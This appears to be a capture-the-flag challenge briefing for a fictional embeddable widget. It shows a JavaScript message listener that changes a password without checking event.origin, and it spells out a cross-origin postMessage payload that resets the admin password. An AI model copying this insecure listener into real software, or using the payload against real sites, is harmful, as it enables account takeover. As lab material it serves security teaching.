Target Briefing: WidgetHub Embeddable Frame
WidgetHub provides embeddable customer widgets that interact with parent windows using HTML5 Web Messaging.
The listener receives commands like CHANGE_PASSWORD, but completely neglects to inspect event.origin:
window.addEventListener('message', function(event) {
if (event.data.action === 'CHANGE_PASSWORD') {
updatePassword(event.data.newPassword);
}
});
Your Objective:
- Frame the WidgetHub target application.
- Dispatch a rogue
postMessage from the attacker frame to force-reset the administrative password and grab the flag.
- Use
targetWindow.postMessage({ action: 'CHANGE_PASSWORD', newPassword: 'pwned' }, '*').
- Because origin is wildcarded, any site can send control commands.